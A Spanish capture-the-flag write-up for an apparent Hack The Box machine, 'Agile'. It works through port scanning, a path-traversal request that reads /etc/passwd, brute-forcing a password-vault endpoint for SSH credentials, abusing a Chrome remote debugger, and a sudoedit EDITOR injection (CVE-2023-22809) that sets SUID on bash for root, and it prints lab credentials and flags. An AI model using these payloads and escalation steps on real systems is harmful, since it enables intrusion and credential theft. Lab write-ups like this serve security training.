1. Comprobación del sistema operativo
python whichSystem.py 10.10.11.203
Tiene como salida:
10.10.11.203 (ttl -> 63): Linux
2. Descubrimiento de puertos y servicios
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.203
Obteniendo como salida:
Scanned at 2023-03-22 11:51:27 CET for 10s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.39 seconds
Raw packets sent: 65763 (2.894MB) | Rcvd: 65535 (2.621MB)
3. Comprobamos servicios y lanzamos scripts principales contra dichos puertos
nmap -sCV -p22,80 10.10.11.203
Starting Nmap 7.93SVN ( https://nmap.org ) at 2023-03-22 11:52 CET
Nmap scan report for 10.10.11.203
Host is up (0.060s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA)
|_ 256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.99 seconds
Añadimos la siguiente linea al archivo /etc/hosts
10.10.11.203 superpass.htb
4. Observamos la página
Observamos que se trata de una especie de gestor de contraseñas online. Podemos crear una cuenta para acceder, aunque también podemos utilizar directamente el usuario admin:admin. Una vez dentro, si le damos a la opción Export
, nos genera la siguiente peticion, capturada a través de un proxy como Burp:
GET /download?fn=xxxx HTTP/1.1
Host: superpass.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie: remember_token=14|1bc8d265b0016488ded7ae22f73e0360fca3e8c003b8938c03577f4de060185bfaa2fe561621e6bee2e5e43694de89fc2b4895da30a8d347766c95f9eb07ae60; session=.eJwljs2KwzAMhF_F6FwWK7JsJ0_R-1KKLSlNIP0hTk-l776GvcwwzPAxH7jOW2mLNZh-P-CObnC31srN4ATnzUoztz1vbn244-mKSC_dsazNvfrmBy7fy6lDdmsLTMf-tp5WhQk4KCYaxFNSEuNB5oIh-NIZiJWtzuTH6KuOJnmsmLBSUPVExhxVIubEEU05DoWsICoVy6PikIywaqqYu5RaBbPHyBZYss_CqkL9_vXdbP9_gwG-f1aORwo.ZBre5w.Z9q7KwrEQDwYoEqWhrTsh5NDptI
Connection: close
Siendo el parámetro de fn
el archivo a descargar. Podemos probar entonces a ejecutar un exploit del tipo LFI:
GET /download?fn=../../../../../../../etc/passwd HTTP/1.1
Host: superpass.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie: remember_token=14|1bc8d265b0016488ded7ae22f73e0360fca3e8c003b8938c03577f4de060185bfaa2fe561621e6bee2e5e43694de89fc2b4895da30a8d347766c95f9eb07ae60; session=.eJwljs2KwzAMhF_F6FwWK7JsJ0_R-1KKLSlNIP0hTk-l776GvcwwzPAxH7jOW2mLNZh-P-CObnC31srN4ATnzUoztz1vbn244-mKSC_dsazNvfrmBy7fy6lDdmsLTMf-tp5WhQk4KCYaxFNSEuNB5oIh-NIZiJWtzuTH6KuOJnmsmLBSUPVExhxVIubEEU05DoWsICoVy6PikIywaqqYu5RaBbPHyBZYss_CqkL9_vXdbP9_gwG-f1aORwo.ZBre5w.Z9q7KwrEQDwYoEqWhrTsh5NDptI
Connection: close
Obteniendo el siguiente resultado:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 22 Mar 2023 11:53:41 GMT
Content-Type: text/csv; charset=utf-8
Content-Length: 1744
Connection: close
Content-Disposition: attachment; filename=superpass_export.csv
Vary: Cookie
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
corum:x:1000:1000:corum:/home/corum:/bin/bash
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false
runner:x:1001:1001::/app/app-testing/:/bin/sh
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash
_laurel:x:999:999::/var/log/laurel:/bin/false
5. Comprobamos los principales archivos del sistema
Si investigamos manualmente por el contenido de archivos comunes y demás, observamos que no nos aparece nada. Observamos que ejecutando diversas peticiones al principio en la página web, a veces nos aparecían unas ventanas de error, las cuales contenían, entre otras trazas de error, las siguientes rutas de archivos:
/app/venv/lib/python3.10/site-packages/flask/app.py
/app/app/superpass/views/vault_views.py
Si mediante la vulnerabilidad anterior (LFI) observamos el contenido de ambos archivos, obtenemos que en el segundo existe el siguiente contenido, donde se puede observar una función en la que nos devuelven las contraseñas guardadas:
@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
password = password_service.get_password_by_id(id, current_user.id)
return {"p": password}
6. Explotación de la vulnerabilidad del listado de contraseñas
Mediante Burp Suite, en la pestaña de Intruder
, ejecutamos un ataque de fuerza bruta contra dicho endpoint. Introduciendo en el campo Positions
el siguiente contenido:
GET /vault/row/§0§ HTTP/1.1
Host: superpass.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie: remember_token=14|1bc8d265b0016488ded7ae22f73e0360fca3e8c003b8938c03577f4de060185bfaa2fe561621e6bee2e5e43694de89fc2b4895da30a8d347766c95f9eb07ae60; session=.eJwljs2KwzAMhF_F6FwWK7JsJ0_R-1KKLSlNIP0hTk-l776GvcwwzPAxH7jOW2mLNZh-P-CObnC31srN4ATnzUoztz1vbn244-mKSC_dsazNvfrmBy7fy6lDdmsLTMf-tp5WhQk4KCYaxFNSEuNB5oIh-NIZiJWtzuTH6KuOJnmsmLBSUPVExhxVIubEEU05DoWsICoVy6PikIywaqqYu5RaBbPHyBZYss_CqkL9_vXdbP9_gwG-f1aORwo.ZBrp6w.YEEEcyT0EPgdf0dYI9YpmHYnE1o
Connection: close
Y estableciendo como payload, un dicccionario de numeros del 1 al 100. Observamos que en diferentes peticiones se producen códigos de respuesta y un número de bytes diferentes. Por lo que si comprobamos los recursos web, podemos encontrar en el endpoint http://superpass.htb/vault/row/8
el siguiente valor:
agile corum 5db7caa1d13cc37c9fc2
Esto también lo podíamos haber averiguado con la herramienta de fuzzing wfuzz, empleando para ello los siguientes comandos. Creamos un diccionario con los posibles valores mediante el siguiente comando:
seq 1 50 > dict
Lanzamos la herramienta:
wfuzz -c --hc=404 --hh=265 -t 200 -w numbers http://superpass.htb/vault/row/FUZZ
Con ella podemos observar los siguiente resultados, que de igual forma que antes, si observamos el endpoint http://superpass.htb/vault/row/8
podemos observar el mismo resultado.
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 302 5 L 22 W 263 Ch "1"
000000003: 302 5 L 22 W 263 Ch "3"
000000007: 302 5 L 22 W 263 Ch "7"
000000009: 302 5 L 22 W 263 Ch "9"
000000006: 302 5 L 22 W 263 Ch "6"
000000008: 302 5 L 22 W 263 Ch "8"
000000005: 302 5 L 22 W 263 Ch "5"
000000004: 302 5 L 22 W 263 Ch "4"
000000002: 302 5 L 22 W 263 Ch "2"
Por lo que podemos acceder mediante el servicio ssh, con las credenciales corum:5db7caa1d13cc37c9fc2
.
7. Flag de usuario
Somos capaces de obtener la flag de usuario -> 681ded2d328d40e1c3fb383ec8e59ebc
8. Escalada de privilegios
Podemos probar a listar los puertos de la máquina, mediante el siguiente comando:
netstat -nat
Observando como nos devuelve una gran cantidad de puertos abiertos. Podemos mirar que servicios están activos en dichos puertos, mediante el siguiente comando:
ps faux
Viendo que en el puerto 41829
está corriendo el depurador remoto de Google Chrome:
runner 7449 0.1 2.6 33986524 104392 ? Sl 11:36 0:00 \_ /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.VhFqHR --window-size=1420,1080 data:, runner 7513 0.2 3.1 1184735616 126204 ? Sl 11:36 0:01
9. Creación de PortForwading
Mediante el servicio ssh podemos hacer un PortForwarding para traernos dicho puerto a nuestra máquina host, mediante el siguiente comando:
ssh corum@10.10.11.203 -L 5000:127.0.0.1:41829
Si abrimos ahora en navegador de Google en nuestra máquina host y buscamos en la barra superior de búsqueda chrome://inspect
podemos configurar el puerto en el que hemos indicado el PortForwarding, es decir, localhost:5000
.
Una vez hecho esto, en la sección Remote Target podemos ver como nos sale automáticamente un nuevo target SuperPassword
con un subdominio llamado test.superpass.htb. Si seleccionamos la opción inspect y nos dirigimos al directorio vault, nos encontramos con dos credenciales, una de ellas para el usuario edwards:d07867c6267dcb5df0af
, pudiendo entonces acceder a través del servicio ssh.
10. Explotacion de SUID
Una vez autenticados como el usuario edwards podemos ejectuar sudo -l
para ver los permisos que tiene dicho usuario. Vemos que mediante el comando sudoedit, podemos editar dos archivos como si fuésemos el usuario dev_admin:
Matching Defaults entries for edwards on agile:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
Buscando por Internet podemos encontrar un CVE (CVE-2023-22809) mediante el cual nos permite convertirnos en el usuario root gracias a la variable de entorno EDITOR
. Para ello deberemos de realizar los dos siguientes pasos:
-
Exportamos la variable de entorno al archivo
/app/env/bin/activate
export EDITOR='vim -- /app/venv/bin/activate'
-
Editamos uno de los dos archivos como el usuario dev_admin, añadiendo al principio la ejecución de una bash:
sudo -u dev_admin sudoedit /app/config_test.json
Añadiendo lo siguiente:
chmod u+s /bin/bash
-
Luego de unos instantes solo tenemos que hacer
bash -p
para conseguir una terminal como el usuario root.
11. Obtención flag usuario root
Somos entonces capaces de obtener el flag del usuario root -> 276f62759da388b33043ec52faaaa53d